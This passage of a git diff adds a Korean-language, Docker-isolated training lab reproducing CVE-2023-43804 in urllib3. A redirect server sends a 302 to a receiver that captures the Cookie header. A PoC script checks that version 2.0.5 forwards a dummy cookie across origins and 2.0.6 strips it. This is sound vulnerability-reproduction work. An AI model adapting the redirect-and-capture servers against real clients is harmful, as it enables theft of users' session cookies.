+(`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`)을 제공한다. 두 기관의 차이는
+필요 권한과 공격 복잡도 평가 차이에서 발생하며, 본 보고서는 실제 urllib3 사용
+조건을 상세히 반영한 CNA 점수를 사용했다.
+
+## 11. 참고 자료
+
+- [GitHub Security Advisory GHSA-v845-jxx5-vc9f](https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f)
+- [NVD CVE-2023-43804](https://nvd.nist.gov/vuln/detail/CVE-2023-43804)
+- [urllib3 2.0.6 release](https://github.com/urllib3/urllib3/releases/tag/2.0.6)
+- [urllib3 patch commit](https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb)
diff --git a/urllib3/CVE-2023-43804/compose.yaml b/urllib3/CVE-2023-43804/compose.yaml
new file mode 100644
index 000000000..343dc2d23
--- /dev/null
+++ b/urllib3/CVE-2023-43804/compose.yaml
@@ -0,0 +1,65 @@
+name: cve-2023-43804-lab
+
+x-lab-service: &lab-service
+ build:
+ context: .
+ dockerfile: Dockerfile
+ target: runtime
+ image: cve-2023-43804-lab:local
+ networks:
+ - lab-internal
+ read_only: true
+ tmpfs:
+ - /tmp:size=16m,mode=1777
+ cap_drop:
+ - ALL
+ security_opt:
+ - no-new-privileges:true
+
+services:
+ redirector:
+ <<: *lab-service
+ command: ["python", "redirect_server.py"]
+ healthcheck:
+ test:
+ - CMD
+ - python
+ - -c
+ - >-
+ import urllib.request;
+ urllib.request.urlopen('http://127.0.0.1:8000/health', timeout=1).read()
+ interval: 2s
+ timeout: 1s
+ retries: 15
+ start_period: 2s
+
+ receiver:
+ <<: *lab-service
+ command: ["python", "receiver_server.py"]
+ healthcheck:
+ test:
+ - CMD
+ - python
+ - -c
+ - >-
+ import urllib.request;
+ urllib.request.urlopen('http://127.0.0.1:8001/health', timeout=1).read()
+ interval: 2s
+ timeout: 1s
+ retries: 15
+ start_period: 2s
+
+ poc:
+ <<: *lab-service
+ command: ["python", "poc.py"]
+ depends_on:
+ redirector:
+ condition: service_healthy
+ receiver:
+ condition: service_healthy
+ restart: "no"
+
+networks:
+ lab-internal:
+ internal: true
+
diff --git a/urllib3/CVE-2023-43804/images/01-environment-start.png b/urllib3/CVE-2023-43804/images/01-environment-start.png
new file mode 100644
index 000000000..229bc6ea5
Binary files /dev/null and b/urllib3/CVE-2023-43804/images/01-environment-start.png differ
diff --git a/urllib3/CVE-2023-43804/images/02-reproduction-pass.png b/urllib3/CVE-2023-43804/images/02-reproduction-pass.png
new file mode 100644
index 000000000..e05abf328
Binary files /dev/null and b/urllib3/CVE-2023-43804/images/02-reproduction-pass.png differ
diff --git a/urllib3/CVE-2023-43804/lab/client_case.py b/urllib3/CVE-2023-43804/lab/client_case.py
new file mode 100644
index 000000000..b47acb4a4
--- /dev/null
+++ b/urllib3/CVE-2023-43804/lab/client_case.py
@@ -0,0 +1,44 @@
+"""Run one harmless redirect case with a synthetic Cookie marker."""
+
+import json
+import os
+import sys
+
+import urllib3
+
+
+REDIRECT_URL = "http://redirector:8000/start"
+
+
+def main() -> int:
+ case = os.environ.get("LAB_CASE", "unknown")
+ marker = f"WHITEHAT_LAB_COOKIE={case}-demo-only"
+
+ client = urllib3.PoolManager()
+ response = client.request(
+ "GET",
+ REDIRECT_URL,
+ headers={"Cookie": marker},
+ redirect=True,
+ timeout=urllib3.Timeout(connect=2.0, read=2.0),
+ )
+ payload = json.loads(response.data.decode("utf-8"))
+ leaked = payload.get("cookie") == marker
+
+ print(
+ json.dumps(
+ {
+ "case": case,
+ "urllib3_version": urllib3.__version__,
+ "http_status": response.status,
+ "dummy_cookie_forwarded": leaked,
+ },
+ sort_keys=True,
+ )
+ )
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
+
diff --git a/urllib3/CVE-2023-43804/lab/poc.py b/urllib3/CVE-2023-43804/lab/poc.py
new file mode 100644
index 000000000..c8b169e3b
--- /dev/null
+++ b/urllib3/CVE-2023-43804/lab/poc.py
@@ -0,0 +1,69 @@
+"""Compare vulnerable and patched urllib3 behavior inside the isolated lab."""
+
+import json
+import os
+from pathlib import Path
+import subprocess
+import sys
+
+
+LAB_DIR = Path(__file__).resolve().parent
+CASES = (
+ ("vulnerable", Path("/opt/urllib3-vulnerable"), "2.0.5", True),
+ ("patched", Path("/opt/urllib3-patched"), "2.0.6", False),
+)
+
+
+def run_case(
+ label: str, package_dir: Path, expected_version: str, expected_forwarded: bool
+) -> dict[str, object]:
+ environment = os.environ.copy()
+ environment["LAB_CASE"] = label
+ environment["PYTHONPATH"] = str(package_dir)
+
+ completed = subprocess.run(
+ [sys.executable, str(LAB_DIR / "client_case.py")],
+ check=False,
+ capture_output=True,
+ env=environment,
+ text=True,
+ timeout=10,
+ )
+ if completed.returncode != 0:
+ raise RuntimeError(
+ f"{label} case failed with exit code {completed.returncode}: "
+ f"{completed.stderr.strip()}"
+ )
+
+ result = json.loads(completed.stdout.strip().splitlines()[-1])
+ result["version_matches"] = result["urllib3_version"] == expected_version
+ result["behavior_matches"] = (
+ result["dummy_cookie_forwarded"] is expected_forwarded
+ )
+ return result
+
+
+def main() -> int:
+ print("=== CVE-2023-43804 local educational verification ===")
+ print("Scope: isolated Docker network; synthetic Cookie marker only")
+
+ results = [run_case(*case) for case in CASES]
+ for result in results:
+ print(json.dumps(result, sort_keys=True))
+
+ passed = all(
+ result["http_status"] == 200
+ and result["version_matches"]
+ and result["behavior_matches"]
+ for result in results
+ )
+ print(f"VERDICT: {'PASS' if passed else 'FAIL'}")
+ print(
+ "Expected: urllib3 2.0.5 forwards the dummy Cookie across origins; "
+ "urllib3 2.0.6 strips it."
+ )
+ return 0 if passed else 1
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/urllib3/CVE-2023-43804/lab/receiver_server.py b/urllib3/CVE-2023-43804/lab/receiver_server.py
new file mode 100644
index 000000000..2a497436f
--- /dev/null
+++ b/urllib3/CVE-2023-43804/lab/receiver_server.py
@@ -0,0 +1,45 @@
+"""Local-only receiver that reports whether a dummy Cookie header arrived."""
+
+import json
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+
+
+HOST = "0.0.0.0"
+PORT = 8001
+
+
+class ReceiverHandler(BaseHTTPRequestHandler):
+ server_version = "WhiteHatLabReceiver/1.0"
+
+ def do_GET(self) -> None:
+ if self.path == "/health":
+ body = b"ok\n"
+ self.send_response(200)
+ self.send_header("Content-Type", "text/plain; charset=utf-8")
+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+ return
+
+ if self.path == "/capture":
+ cookie = self.headers.get("Cookie", "")
+ body = json.dumps({"cookie": cookie}).encode("utf-8")
+ print(f"[receiver] dummy_cookie_seen={bool(cookie)}", flush=True)
+ self.send_response(200)
+ self.send_header("Content-Type", "application/json; charset=utf-8")
+ self.send_header("Cache-Control", "no-store")
+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+ return
+
+ self.send_error(404)
+
+ def log_message(self, message: str, *args: object) -> None:
+ print(f"[receiver] {self.address_string()} - {message % args}", flush=True)
+
+
+if __name__ == "__main__":
+ print(f"[receiver] listening on {HOST}:{PORT}", flush=True)
+ ThreadingHTTPServer((HOST, PORT), ReceiverHandler).serve_forever()
+
diff --git a/urllib3/CVE-2023-43804/lab/redirect_server.py b/urllib3/CVE-2023-43804/lab/redirect_server.py
new file mode 100644
index 000000000..1ca62f135
--- /dev/null
+++ b/urllib3/CVE-2023-43804/lab/redirect_server.py
@@ -0,0 +1,40 @@
+"""Local-only redirect service for the CVE-2023-43804 training lab."""
+
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+
+
+HOST = "0.0.0.0"
+PORT = 8000
+REDIRECT_TARGET = "http://receiver:8001/capture"
+
+
+class RedirectHandler(BaseHTTPRequestHandler):
+ server_version = "WhiteHatLabRedirector/1.0"
+
+ def do_GET(self) -> None:
+ if self.path == "/health":
+ body = b"ok\n"
+ self.send_response(200)
+ self.send_header("Content-Type", "text/plain; charset=utf-8")
+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+ return
+
+ if self.path == "/start":
+ self.send_response(302)
+ self.send_header("Location", REDIRECT_TARGET)
+ self.send_header("Content-Length", "0")
+ self.end_headers()
+ return
+
+ self.send_error(404)
+
+ def log_message(self, message: str, *args: object) -> None:
+ print(f"[redirector] {self.address_string()} - {message % args}", flush=True)
+
+
+if __name__ == "__main__":
+ print(f"[redirector] listening on {HOST}:{PORT}", flush=True)
+ ThreadingHTTPServer((HOST, PORT), RedirectHandler).serve_forever()
+